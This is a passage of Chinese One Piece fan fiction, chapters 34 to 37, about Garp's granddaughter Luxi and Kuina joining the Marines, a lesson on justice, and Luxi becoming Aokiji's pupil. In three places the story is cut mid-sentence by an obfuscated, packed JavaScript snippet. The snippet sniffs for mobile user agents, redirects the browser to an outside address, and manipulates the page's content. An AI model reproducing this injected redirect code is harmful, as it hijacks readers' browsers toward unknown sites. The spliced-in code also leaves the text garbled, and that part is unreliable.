路希喊道：“爷爷，我和古伊娜都登记好了，要先去找宿舍了！” 卡普揉揉眼睛，打了个哈欠。路希歪歪脑袋，准备告别，又被拦住。 卡普：“等一下，还有个地方。” 两个小孩对视一眼，满是困惑。按理来讲，没有要去的地方了。卡普站起来，伸了个懒腰，豪迈道：“跟我来。” 来就来，于是两人小跑着跟在卡普身后，走过大路，再走过大路，七拐八拐，走进大楼，上楼、继续上楼、持续上楼，直至卡普在一扇门前停了下来。 路希从卡普身后探出一个脑袋，仰起头来看着门上挂着的元帅二字陷入沉思。这里难道是…… 还未等她思考结束，只见卡普连象征性的敲门都没有，直接推了进去，说道：“进来。” 路希：“……” 古伊娜：“……” 两人前后迈步走进去，无辜地与满脸茫然的战国对视着。卡普站在一边，手指战国，激励道：“看到没，这就是战国，现任海军元帅，也是你们以后要取而代之的目标。”卡普面色深沉地拍了拍两人的肩，说道，“加油，把他干下去。” 正努力处理公务的战国：“……？” 不是，卡普这人还能不能有点礼貌了？！带着两小孩说啥呢！ 34.在海军 战国陷入深沉的沉默，一言不发，只是一味盯着卡普，随后，缓缓将目光移到路希和古伊娜身上。然后……继续沉默着。 不行，在小孩子面前，他得保持形象。那这个时候，他该说点什么好。 而卡普说完了想说的话，心满意足，对两人说道：“好了，你们可以走了。” 路希&古伊娜：“……” 什么啊，走这么长一段路把她们叫来就为这事啊。路希心想那还用说，别说取代了，她的目标是世界之王……不是，目前是海军王，当然得努力登到海军最高峰，不管是受欢迎程度还是威望程度，她都想成为第一。 至于现在，既然来都来了，以后也不知有没机会再见一面，于是路希坦然看着战国，满脸真诚：“战国元帅，我会努力的。” 然后看向古伊娜。 古伊娜与战国同样沉默着，在路希的期待眼神中，终于憋出了一句话，“呃……我也会努力的。” 战国：“……”在卡普得意忘形的狂笑声中，他默默应了一句，“加油，出去记得把门关上。” 这就是在送客了，路希也相当配合，礼貌告别后和古伊娜走了出去，把门合上。古伊娜看着对方关上门就用双手捂住自己耳朵的行为，面露不解，刚想发问，便听见一声直冲云霄的怒嚎：“卡普——你这个……” 古伊娜：……耳朵好痛。怪不得路希要捂住耳朵，原来是预判到这一点了吗。 里面的人显然会有一场骂战，路希直接拉着古伊娜跑走。途中还不忘点评：“不愧是元帅，肺活量就是好。” 古伊娜揉了揉耳朵，心想，确实。不过她算是刷新了对卡普的印象，唔……怎么说好，这位中将，有时候办事真是不靠谱。哪有直接带到上级面前说，要努力把对方位置抢过来的。她无奈叹了口气，又有些好奇：“你的爷爷一直这样吗？” 这下路希可有话讲了。 于是在到达海军宿舍前，古伊娜听路希讲了一路某中将的恶行，连说带比，那叫一个激愤。什么从小放养、一来就是把她们丢进深山老林训练，不管死活、一说要当世界之王就给一板栗等等，总之罪恶滔天，罄竹难书。 古伊娜深刻地感受到什么叫对比产生差距，充分理解了自己从小生长的氛围有多幸福。毕竟她练剑再苦再累也没被自家父亲扔到山里直面野兽追赶。 她情绪复杂，拍拍对方的肩，安慰道：“你辛苦了。” 路希感动地握住古伊娜的手，“不辛苦，”接着又露出怀念的表情，有些不好意思感叹道，“其实……每次训练结束后想想还是挺好玩的。” 古伊娜无言地盯着对方，对方嘿嘿笑了一声，移开视线。 古伊娜：……所以这人其实还挺乐在其中是吧，把她刚才的同情还回来。 闲谈中，两人顺利抵达目的地。海军宿舍分为女子宿舍楼与男子宿舍楼，除了称呼与生活在其中的海军性别不同，其它配置基本没差别。宿舍根据职位阶级划分，像她们这种一等兵往下的，包括一等兵，住的是多人房间，房间内至少也会住下十六个人。洗漱的地方自然也是公共澡堂。 路希简单打量了一眼房间，床、柜子、一张大桌子，简洁明了的展示了这地方就是用来休息睡觉的。 路希不甚在意地耸耸肩：“小兵待遇就是差。” 古伊娜点头应和，“是啊。” 想要得到一个单人宿舍，或者人数更少的宿舍，还得继续把职位往上升，不然不管是在基地亦或是在军舰，都只能人挤人睡在一起。 现在这个时间段，宿舍基本没什么人。二人把自己的衣物往空闲的柜子里一放，古伊娜问道：“然后呢，你要去做什么？” 路希反问：“你呢？” “我准备去练剑。” “我准备先去四周逛逛，熟悉一下地形。” 都是符合二人风格的行动，彼此也不再过多闲聊，忙着自己的事去了。路希从宿舍大门出来，看了一眼来时路，随即走去相反的方向。 海军本部的构造也是需要好好学习的一环！ 海军的宿舍处在中心靠后的位置，离训练场所很近，走过时可以看见许多人刻苦锻炼，也有一些人累趴了躺在地上休息。路希浅浅围观了一会，或许因为是外围，看到的都是些基础训练。 她继续向新地方探索。实际上，她想找到的地方是图书馆，或者档案馆也可以。 海圆历1510年，乌塔失踪。香克斯既然是四皇，那么，报纸上必定少不了他的相关报道。她要找的就是在那一年，香克斯回风车村的那个月之前的事情。 好消息：她找到了，虽然这座图书馆的规模没有想象中的那么大，但好歹是图书馆。 坏消息：因为是过期许久的报纸，图书馆已经统一清理了。 图书馆的管理员同样是一位中年女性，戴着眼镜，看上去相当古板严肃。路希默默地盯着她，颇为郁闷，“不会封存下来方便以后查阅吗？” 管理员一板一眼回答：“没必要，海军有专门的情报处理机构。这里的图书馆，除了必备的书籍，以及经过检阅可以留下来的娱乐书籍，其它的不被允许放置。而且，你想找这么之前的报纸干什么？” 路希对海军本部的图书馆大失所望，随口敷衍道：“我喜欢看报，我就爱看报，我就要看很多很多报。” 管理员：“……” 路希推门而出。 到达海军本部时本身也不算太早，经过报道和身体检查、种种杂七杂八的事情一弄，时至黄昏。她望着出现晚霞的天空，漫不经心地想，差不多也该吃晚饭了。 海军本部没有科尔伯山这样的地方，自然不用自己捕食，不过食堂的抢饭竞争同样激烈，来迟一步就是漫长的排队。 路希看着人头攒动的食堂内部发呆。自从她在达旦一家掌握话语权后，她已经很久没有同别人抢过饭了，也不知道古伊娜在哪里，是否还在练剑。看了几分钟，她决定去先前的那座办公楼找爷爷，中将肯定不需要这样抢饭。她是他孙女，在这种小事上来点优待没什么吧。 一路上不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155018|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与其它海军士兵相会，逆流而行。路希沿着道路的边缘行走，在这种人声鼎沸的场景中，她忽然有些想家了。 达旦破破烂烂的山贼屋，玛琪诺那家总是萦绕着欢声笑语的酒馆，完全是她一言堂的垃圾站，还有被烧得一塌糊涂的高镇，不知道重建的情况如何。路飞今天也吃了许多肉吧。艾斯与萨博的出航储备金是不是又多了一点。 分明在船上的那几日都没想起过的事情，但此时此刻却倏然涌来，在人群涌动的道路上，她是孤身一人。 “啊！路希——”破空而来的是古伊娜的声音，在茫茫人海中，古伊娜找到了她。路希看着古伊娜一路跑过来。对方的脸颊尚有些通红，是训练后的痕迹。 “我今天练得差不多了，然后看见好多人……唔，怎么了？” 还未等她说完，路希一把抱住她，闷闷地叫着对方的名字。“古伊娜……” 古伊娜关切地问道：“是饿过头了吗？” 路希十分诚实：“没，就是有点想家。” 古伊娜怔愣了会，噗嗤一下笑出声。路希恼道：“喂——！” “抱歉抱歉，只是怎么说好……我以为你……”刚上船离家的那几日，她尚有些不适，会频繁的想家。却见比自己还小的这个人从未陷入低潮，于是握紧剑，在心中强迫自己坚强起来。逐渐地，那股情绪便也消失无踪了。路希曾短暂地成为她的锚点。古伊娜回抱住对方，说，“我还以为你不会有这种情绪呢。” 路希很郁闷，“我也是人，又不是没感情的混蛋，肯定会想家吧。” 古伊娜轻轻拍着她的背，有意促狭道：“那在我怀里哭一场？我也不是不可以当一下你的姐姐，毕竟比你年长呢。” 路希一下子就掀起了干劲，“我才不会哭！而且……”她压低了声音，像是怕被别人听道，“我才是老大哦。” 古伊娜无奈地叹了口气，也学着对方压低气音笑道：“是是，未来的世界之王老大。” 这个人……果然气性很高。古伊娜心想，因此就算脆弱，也是一时的，因为她不会允许这种情绪一直持续下去，吞噬自身。就算刚才自己没有找到对方，路希也能很快调整状态吧。不过……她又想到，偶尔这样也不坏。 正因彼此都见识过对方的脆弱，心灵有时反而会靠的更近。 现下，摆脱了低落情绪的路希，重新握住她的手，精气十足道：“走，我们也去抢饭吃肉！成为海军王第一步，从食堂抢饭大成功开始。” 原本因为训练感到些许疲惫的古伊娜，此时也被这个莫名其妙的目标重新点燃了内心的动力。 说实话，霜月村人口稀少，道场的学员每次开饭也会乖乖排队等吃的，她还是第一次见到如此景况。 这种来得迟了可能就只有一点菜叶，或者连菜叶都没有的情况，着实让她大开眼界。古伊娜情绪高涨，兴致满满，“走，绝对不能落后别人！我们要当第一！” 不仅是抢饭，亦或是以后的训练，她们都要这样笔直前行。海军的新生活，才刚开始呢。 35.在海军 海军的课程简单分为文化课和实战课，教导的内容如名字所言，前者负责理论知识、海域情况、海洋环境、气候学等等，上课老师职位最低是少将，也有退役的海军。上课时间并不固定。毕竟新兵数量几千人，教官数量却有限，还得分班教导。 比起文化课，实战课倒是从早到晚，天天都有。 海军本部招收新兵一般通过两种方式：一者是从其它分部挑选优秀或者战绩出色的海军，另一者则是被出航巡视海域，维护和平的将领们看中，有意向加入海军的便会带回来。后者中也有一些原本是海贼，但决定改头换面重新做人的。 路希和古伊娜属于后者，中将的任性之举。 毕竟七岁和十一岁的年龄，海军本部原本不会招收的，它是正规组织，不是什么虐待童工的黑心工厂。至于私底下的那些，就是另一回事了。 二人同属一个队，加上她们两个有十五人。 到达海军本部第二天，她们在早六点起床，先进行跑操训练，结束后吃早饭，然后在七点去上文化课。这是在海军本部的第一堂课，通常而言，新兵的第一课主要是了解海军建立历史，海军职责和必须坚守的信念诸如此类基础信息，但两人属于插班生，这些东西只能课后抽空自己学习。 上课的是位年轻的上将，这堂课主要教授的内容是假如海贼挟制人质威胁，作为海军要如何处理。 原本是这样的。 结果开始上课前几分钟，卡普悠哉悠哉来到办公室，说刚好有空，他负责今天这个班的教导。 私心都要溢出来了啊中将，上将内心吐槽，昨天卡普中将带了自家孙女和她伙伴来当海军的事，在本部的全知道了。听说看起来很听话认真，或许是个不错的苗子。 这两个人正好在她今天要教导的班里，是昨天临时加上去的。 不过吐槽归吐槽，年轻的上将并未有什么实质性抗议，而是选择了旁听。这可是海军的英雄，一年到头抓的海贼没有几千也有数百，只要是海军，就没几个不对他敬佩的。说不定还能学到更多新知识呢。 一同旁听的还有一位大将，青雉。正好昨日完成任务回来，暂时没什么新任务，面对自己办公桌上一摞的文书，思考过后，还是选择摸鱼。 昨天战国元帅的那一声吼可是超大声，他想装作没听到都难，事后和卡普吃点心闲聊，卡普还说有空把两小孩带过来也给他看看，大概要说的也是努力把他踹下去。 青雉慢吞吞地想到，好像不久前，此人还在对他悲愤地怒吼，自家两小孩，一个说要当海贼，一个说要当世界之王来着。 在小孩的心性怎么转变这么快和卡普是不是强行把对方绑过来中，青雉不由自主地倾向后者。不过眼见自己师父的心情这么好，他选择闭口不提。 反正迟早会见到的。 于是因为身高原因坐在最前排的路希和古伊娜，在文化课开始后，看见的便是一个熟悉的老头大摇大摆走进来，一拍桌子颇具气势地喊道：“好了，今天由我给你们上课。” 路希：“……” 路希和自家爷爷对上视线，片刻后同时移开。一想到过去无数个“爱”的铁拳教育。她简直整个人都萎靡了下去，从兴致勃勃到精神不振，趴在桌子上看着卡普在黑板上写写画画。 卡普的教课方式相当简洁明了，单刀直入。 卡普：“我问你们，如果一个穷凶极恶的海贼，抓住了一群平民，要求用他们的性命作为交换，换取钱财与生路，但是，这个国家的贵族认为这个要求挑衅了尊严，要求放弃这些平民，就地杀死海贼，作为海军，该怎么做？”说罢，一根粉笔头打在路希身上，瞪着眼道，“好好坐直，不准趴着！” 路希：“……” 有什么叛逆度上升了。 话说这是什么狗屎问题。她爷爷该不会是在报复之前她提出的那个海军的英雄会选择平民还是贵族的问题吧？ 路希果断举手：“教官，我觉得信息量太少，难以判断。”她语速大爆发，根本不给卡普说话的机会，“穷凶极恶是有多凶恶？一群平民又是多少平民？包围他的海军人数有多少？有办法做到杀死这个海贼吗？要交的财宝是多少？贵族中有没有不赞同这个提议的？海军这边呼叫支援了吗？” 第二根粉笔飞了过来。 “没有这种乱七八糟的假设。” “那好吧，那就听贵族的，放弃这些平民。” 天龙人>贵族>平民，这种事在哥亚王国的时候就知道了，既然世界政府制定的规则是这么运转的，那么海军这里遵循的理念想来也如是。反正这只是个假设，不会真的有平民伤亡，随便说说好了。 路希对这个问题没多上心。 而且如果真的发生了这种事，她觉得自己更可能是拿平民威胁海军的那个海贼。 第三根粉笔飞了过来，卡普的声音震耳欲聋。 “大错特错！我们是海军，唯一要遵守的信念就是正义！你心中的正义是什么！” 她怎么可能会有什么正义？路希撇撇嘴，然而她的爷爷并不满意这个答案。她死死盯着卡普，卡普的视线已经看向其余学员。 “教官，”古伊娜举了手，卡普示意她说话，“先答应贵族的要求，安抚好贵族，让他们去安全的地方，防止继续干扰海军这边的行动。然后把这个海贼想要的财宝给他，准备好暗中的伏击。在交易达成，确保平民的安全后，在对海贼进行抓捕行动。” 卡普没说满意，也没说不满意，但至少没将粉笔往古伊娜头上扔，他环视了一圈教室，问道：“其他人呢？” 也有另一些新生海兵们犹犹豫豫地说着自己的回答，但是，不管哪一个回答，都在努力确保平民的安全。 卡普每听完一个回答都会点点头。 路希一言不发地观察着。 卡普希望听到的是必须保护平民存活的，这种正论答案吗？ 然而，接下去又有其他学员的回答，推翻了她的这个想法。对方说的是，优先贵族的命令。因为贵族优越于普通民众。 卡普也没如先前那般动怒，依旧平静地点头。 可这个回答与她一开始的回答是同样的，如果不是这个原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159216|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因，那是什么？ 路希看向古伊娜。古伊娜注意到她的疑惑，视线落了过来，好像在问怎么了。 路希贴近对方，低声问道：“古伊娜，在说出你的回答之前，你在想些什么？” 古伊娜手指抵住下巴，摇头，“我没在想什么，我只是觉得，如果我处于这种情况，就应该这么做。” 路希偏了偏头，朝后面的其他回答的学员看去。他们同样是如古伊娜这般代入的吗？重要的不是平民的死活，也不是贵族的命令，爷爷的问题中，希望得到的是……在那种情况下，身为海军的她们，心中所坚持的正义，会促使她们做出何种选择？ 答案一开始就明说了——唯一要坚守的、心中的正义。 大海，混乱无序。海贼，残暴无度。海军生活，生死不定。在这样的环境中，随波逐流更改自身想法是多么容易。如果正义等于海军必须坚守的道路，那么卡普，她的爷爷想听到的是—— 一个发自内心的答案。 路希忽然意识到卡普并非不了解她。正因卡普知道她的性格，所以才能一眼看出她在撒谎。刚才的答案，是一个虚伪的荅案，是为了掩盖一些更深层的东西，她所编造的谎言。 卡普发现了这一点。 正如他会努力说服自己，自家的孙女就是想当海军，因此会忽略那些异常。可若真的相信，何必要这番说服自己。她试图用海军作为自己梦想的跳板，而她的爷爷或许也在希望，之后的海军生活，可以改变她的念头。 于是路希再次举手，“教官教官！” 卡普上下打量着她，示意道：“说。” 路希站了起来，毫不掩饰自己的攻击性，“我会把提出放弃平民的贵族全杀掉，然后把他们的人头扔给那个海贼。”顿时听见有不少人倒吸一口气，路希无视这些声音，继续说了下去，“我会告诉那个海贼，我不接受威胁，把这些平民放了。否则，这就是对方的唯一下场。” 卡普：“那这些平民呢？” 路希：“在对方出手前，我会尽可能干掉他。如果仍然出现死伤，我会抱歉，但不会忏悔。” 正如她在哥亚王国做的那样。将判处她们死刑的贵族，拉下裁决台。 从后门走进来坐在最后一排的青雉结束了打盹，抬起头凝视着那个说出这般狂妄之言的女孩。 这恐怕就是那个梦想成为世界之王的孩子了吧，青雉默默地想，他师父果然是强行把对方绑过来的吧。 卡普脸色没什么波动的听完了路希的回答，随后骤然一个拳头打下去，怒吼：“胡闹，让你保护平民，没让你把贵族也杀了！给我出去走廊罚站。” 这老头绝对是故意的，路希摸了摸头上的大包，百分百确信。 爷爷既希望她的信念坚定，又希望她能换个目标坚定。 她没抗议，顺从地翻桌走了出去。她知道，这依旧不是个让爷爷满意的回答，但却是一个真实的答案。从此以后，彼此都会心知肚明，但仍要装作一无所知相处，并且试图让对方放弃那条坚持的道路。 这才有趣，不是吗？ 36.在海军 路希在走廊站了没几秒就跑走了。 反正卡普让她出来罚站的时候又没说多久，那么一秒是罚站，两秒也是罚站。她直接自作主张，宣布今天的罚站结束了，随后自己去找地方锻炼。 她要提升自己的体能与耐力，能用的时间都得用起来。 卡普结束自己的课程，走出教室，一瞅发现原本应该站在门口罚站的人不见了。 卡普：“……” 他知道、他就知道啊！卡普压抑、卡普悲愤、卡普心里苦，卡普一言不发，黑气缭绕。 得抓人去。 青雉也走了出来，一瞅走廊，再一看老师脸上的表情，便清楚情况。 都说人与人的快乐是对比出来的，青雉今天不得不承认这句话有道理。虽然他每天都被工作压榨，与某个能力相斥的同事两看相厌，但至少他不用带不听话的小孩。 青雉好心相劝自己的老师：“要不把她送回家去吧。” 怎么看都不像是个会乖乖当海军的人，哪有正经当海军的会说杀掉贵族这种话啊，那是海贼和革命军的事。 被赤犬听到更是不得了吧，他脑子里一闪而过自己同事的脸。 “送回家——？！不可能！”卡普一副你在开什么玩笑的样子。这可是他好不容易带过来的。如果在海军都长歪了，那在老家岂不是更不得了。 青雉：“喂喂……我就是看你这么烦恼……” 卡普一甩披风，“老夫哪里看起来像烦恼的样子。你、跟我走，抓人去。” 青雉眉头一跳，有不好的预感。他迅速找借口，试图跑路。“我是大将，工作很多……” 没能说完，卡普直接抓住他的衣领拖着向前走。 青雉叹了口气，但没挣扎：“……老师啊，我身为大将这样被拖着走很丢脸的。” 卡普哼了一声，并不理他。青雉只能调整姿势，自己配合卡普的走路节奏。唉，算了，反正他是大将，也不会有人敢当面嘲笑他，最多就是被与自己平级的黄猿叨叨几句。 路希正窝在一个角落努力俯卧撑，猛然听见破空声，有什么物体朝她的方向飞来。抬眼一看，是一块大小刚好的石头。 路希：……谁搞偷袭！这么没礼貌！ 来不及抱怨，紧急闪躲过后，再向石头飞来的方向一看，有两个人正大踏步走过来。其中一个气势汹汹，是她的爷爷。另一个不情不愿，有些熟悉的脸。 唔……似乎在方才的教室看到过，坐在后面打盹。 卡普在路希面前站定，双手抱胸，一言不发，试图用眼神让对方知晓自己的错误。路希直接无视，看向旁边不认识的男人，问道：“这个大叔是谁呀？爷爷。” 青雉：……！ 大叔……他是大叔……是嘛，也到这个年龄了啊。小孩子的嘴真是可怕。上次被叫海军的大哥哥好厉害，是什么时候呢。 无视忽然灰暗的青雉，卡普怒目圆睁，叫道：“什么爷爷！在这里叫我卡普中将！” 路希从善如流：“卡普中将，这个旁边的大叔是谁啊？” 青雉：“……”还在回忆往昔，不想搭话。 卡普瞅了一眼不中用的徒弟，催促道：“快给她介绍一下你自己。” 青雉：……他觉得自己刚才还是努力一下不来比较好。 他低头打量着路希，七岁的孩子还很矮，身高都没有他腿长，感觉走路时一不注意，就能一脚把她踢飞到远方。 孩童是脆弱的生物啊。他小小地叹了口气，应道：“我是海军大将，青雉。” 噢噢，这就是海军大将，元帅之下的最高位置啊。这位看起来蛮好相处？路希热情伸手，礼貌笑道：“你好你好，青雉大将，我是路希！卡普中将的孙女，梦想是当海军王！” 青雉陷入沉思：海军……王？是为了跟海贼王对称吗？不对，不应该是世界之王吗？ 看着眼前的小孩还伸着手，青雉犹豫一瞬，半蹲下去，握住对方的手，说道：“呃……你好。” 卡普很是满意的看着她们握手，接着补充道：“很好，从今以后你们就是师徒了。” 正在握手的两人异口同声：“啊？” 卡普：“我的孙女当我学生的学生，不是很正常？就这样决定了，库赞，你给我好好教导她，把她教成未来的元帅。” 青雉：“啊？？？” 他教小孩，还要教成元帅，真的假的？ 路希也呆了一瞬，随后果断拒绝。“不行，爷爷、不对，卡普中将！我准备去鹤中将那边啊！我要加入女子海军队，我要加入女子海军队啦！” 卡普恼了，“不准，你就让青雉教你。” 这个丫头很会看脸色，擅长在人的底线边缘蹦跶，心眼子太多，鹤太温柔了，绝对制不住她。放青雉那边等于放自己眼皮底下，觉得不对劲就能一拳打下去，还好看管些。 至于为什么不是他自己来教……嗯，哪有人喜欢整天带小孩啊！ 路希也恼了，“暴政！专制！怎么可以这样破坏一个小女孩的梦！我是女孩子，就要加入女子海军队！” 卡普蛮横道：“等你当上海军元帅，你想组建多少女子海军队就组建多少！你把全海军的人员换成女的都没关系！” 围观祖孙吵架的青雉不敢出声，只能心内默默吐槽：不这个还是有关系的。 路希大吵大闹：“那根本不一样！从小在女子海军队和长大后组建女子海军队，是完全不同的体验！我就要加入女子海军队！” 直接被大将带着教学，可能会有些好处，但限制应当也会很多。而且这个大将还是爷爷的学生，绝对跟他是一条心的啊。她要坚决抗议。 卡普直接拿起地上的石头，放在手中捏成碎末，吹胡子瞪眼：“看到了没？你能把石头这样捏碎吗？做不到吧，做不到就别说话，乖乖听我的话。等你哪天做到了再来跟我讨论去鹤那边的事！” 现在的她怎么可能做得到啊！看来这事是真的没有转圜余地了。路希反抗失败，怒骂道：“你吃屎去吧，臭老头——！” 等她变强了，她就把全海军的女性都拐走当她的部下。 一直被无视的青雉终于找到了插话时机：“我……” 我字刚开了个头，就见卡普气势滔天地看过来，“你有意见？你有什么意见？！” 青雉：“……我没有意见。但是，我也不会带小孩啊。”回绝是注定会回绝失败的，但是情况他还是要说明一下的，他是真的没带过小孩。青雉接着补充道，“而且，大将工作很忙的。” 卡普：“那就让这小鬼跟你一起干活！” 青雉的脸扭曲了一瞬。 卡普像是没看见似的，继续说道：“我当年也不会带徒弟，这不是还把你带出来当上大将了吗？我怎么带的，你就怎么带。” 青雉：“……” 当年也是他自己主动找到这个人说要拜师的啊，而且这老头刚开始根本不想收他当学生，说什么别想剥夺自由。到现在，他的自由就可以被随便剥夺了吗？！ 卡普拍拍手，“好了就这样，以后你们两个就是师徒了，我会定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163196|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期来查看学习成果的，呵呵呵呵呵哈哈哈哈哈哈！” 卡普心满意足地离开，徒留两个失败的反抗者在原地。青雉看着路希，路希回看着青雉。 路希：“青雉大将，老实说，你想收我当学生吗？” 青雉诚实地回答：“不想。” 路希问了下去：“那我可以假装跟你学习，但实际上加入鹤中将的女子海军队吗？” 从开始到结束都被嫌弃的青雉：“……不可以。” 虽然不愿意，可他也是有自己脾气的。事关大将的尊严……嗯，大概就是这种虚无缥缈的玩意吧。 提议被拒绝，路希也没沮丧，继续问道：“那我可以带我的朋友一起跟你学习吗？” 青雉慢悠悠地思考，朋友，就是卡普中将带来的另一个孩子吧。带一个徒弟是带，带两个也是带，他是无所谓。何况，两个小孩在一起，彼此间也能互相交流，这样他这个当老师的空闲时间说不定就多了起来。 青雉说道：“你朋友同意就好。” 路希欢呼：“耶——青雉老师，谢谢你！” 青雉：“……” 青雉老师，这个称呼好像也还不错？ “那我现在去找古伊娜？青雉老师，你要跟我一起去还是去哪里呢？” 这种小孩子之间的谈话他就不参与了吧，青雉心想，随后应道：“我先回办公室处理公务，你们有空可以来找我。” 至于到时候他是否真的在办公室就说不准了，毕竟大将工作繁忙，也有可能已经离开海军本部外出干活了。那时候卡普也只能自己带小孩了吧，呵呵呵呵呵。 于是路希转而去抓古伊娜，真切请求，但被古伊娜断然拒绝。 古伊娜：“我不要。” 路希：“为什么！” 古伊娜理直气壮：“我要加入女子海军队。” 路希委屈巴巴：“可是我都没能加入，而且那是大将诶。” 古伊娜：“那个大将不也是身为中将的你爷爷带出来的吗？”她顿了顿，接着问道：“……收你为徒的这个大将，会剑术吗？” 路希回忆了一下，“好像不会，没看见佩刀。” 古伊娜：“……你明白的。” 路希：“我可以不明白吗？” 古伊娜：“你必须明白。” 路希：“我明白了。”路希紧握住古伊娜的手，依依不舍，“古伊娜，就算我们暂时分别了，你也会记住我的，是吧？” 古伊娜残酷地停止了对方的煽情，“我们目前还睡在一个房间呢，没特殊情况每天都能见到。” 路希：“……”她鼓起脸颊，“我不管啦！总之就算你加入女子海军队，你也必须是我这边的！等我到时候练得差不多了，就去女子海军队走一遭，把大家都打服！” 古伊娜露出野心勃勃的笑容，说道：“那我可得努力一点，先把她们打趴下，不给你这个机会。” 路希毫不相让：“我变强的速度一定会比你更快。” 二人对视一眼，握住对方的手更加用力。 邀请失败倒也没给路希造成多大打击，反而让她变强的信念愈发强烈。与古伊娜道别，她目标明确地冲向青雉的办公室。 正坐在办公桌前看了一眼文书，又马上合上，思考着要不要继续睡一下的青雉，就听见门一把被打开。一个熟悉的矮个子身影窜进来。 路希：“青雉老师青雉老师，教教我教教我！快带我去训练啦！” 青雉：“……” 有一说一，好吵。 37.在海军 数月以后，站在镜子前，看着镜面中自己浓厚的黑眼圈，青雉总是会回想起，当初他没能坚定拒绝卡普要求他收徒的那个上午。 当时的海军总部从未来过如此年轻的士兵，身为大将的青雉也不需要去专门教导谁，日常面对的只是工作、工作与讨人厌的同事，偶尔在睡醒的间隙思考，海军的正义到底为何物？ 收徒第一天，青雉在对方的强烈请求中，带她去了本部放置废弃军舰处，指着一艘军舰对她说，看到了吗？ 对方不明所以，但仍老老实实回答，看到了。 青雉上前几步，摆好马步，右手出拳，把这艘破旧军舰的表皮打到凹陷。他转头，看着身后因为讶异而张大嘴的小孩，说道，跟我做，别用霸气，只用拳头的力量，把它打凹进去。 这是他当初找到卡普，请求对方收徒后，卡普教会他的。 路希茫然地看着他，问道，什么是霸气？ 青雉：…… 青雉思考了会，问道，你知道什么是海军六式吗？ 路希诚恳道：老师，这是我来海军第二天。 言下之意简洁而明了。 青雉第一次感受到什么叫道阻且长，这是一个没有经过任何系统性学习的，脑子与身体都一片空白的，崭新的学生。 青雉叹了口气，毫无形象包袱的在地上坐了下来，和路希面对面，专业地讲解起何谓六式和霸气。 说说停停，时而还陷入漫长的思考，其实只是讲解厌了在走神。 小孩倒是全程都听得很认真，他停下的时候也不催促，只是一直用求知的眼神盯着他……盯着他……一直盯着他，盯到让他头皮发麻，大幅度减少了走神时间。 也会听着听着提出问题。 “老师老师，我有一个朋友，他是个橡皮人。” 他漫不经心的附和。 “橡皮人啊……” 是恶魔果实能力者吧。 “我的这个橡皮人朋友，不怕摔也不怕砸，因为这些对他不起伤害，但是，每次我的爷爷都能用拳头给他揍出一个大包，这是因为用了霸气吗？” 青雉：“……”你就说你的这个朋友，是不是卡普的另一个孙子、你的兄弟？青雉没问，只是默默回答，“是的，武装色霸气可以有效对抗恶魔果实能力者。不过也跟本人的实力有关。弱小的武装色霸气，就算施展出来也不是能力者的对手。” 他还亲自示范了一次。左手元素化，右手武装色。 路希目不转睛地看着他表演，结束后热烈鼓掌：“老师你好厉害！” 让青雉感觉自己像个演杂技的，唯一庆幸的是对方还好没说出再来一次。 等霸气和六式的概念都成功塞到对方的脑海了，青雉起身，朝着先前打出的军舰包看去，示意道：“从这里开始吧，先锻炼身体的强度。” 他看向路希的手，白皙、脆弱，能被他轻而易举地捏碎手骨。能坚持到什么时候呢？主动放弃的话，卡普也怪不到他头上吧。 孩子的手与军舰相撞，发出“嘭”的一声响。 他的手也与军舰相撞，发出更巨大的声响。 一个的撞击处毫无变化，另一个则是又凹陷下去了几分。路希没有看他，只是专注的左右手交换，击打着军舰。 首先感受到的，是疼痛。从皮肤传进骨骼，好似要碎裂一般的痛楚。然后是额头上不断低落下来的冷汗，呼吸声也沉重了起来。 路希有意开口聊天，转移注意力。 “老师老师，你刚开始练的时候同样会很痛吗？” 青雉也配合她闲聊。 “是啊，痛得我想第二天再也不想来了。” “老师老师，那你还是去了吧。” “当然，不然现在怎么会在这里教你。” “嘿嘿。” 渐渐地，痛楚退去，转而是麻木，是出现伤口的手。此时连笑容也勉强，闲谈声弱了下去。眼睛被汗水糊住，看不清前方景象，有些难受。 青雉偏头看了一眼对方已有血丝，明显受伤严重的手，问道：“还能撑住吗？” “好像还可以再打几拳。” “那就继续。” 最后一拳落下，轻飘飘的，浑身无力。试图抬手，却无法动弹。路希凝视着毫无变化，只是覆上了她血液的军舰，说道：“我动不了了。” 青雉平淡道：“你到极限了。” 路希：“我得休息一下。” 青雉：“嗯。” 青雉依旧在平稳地出拳殴打军舰。路希一动不动地站了好几分钟，随后艰难抬手出拳。 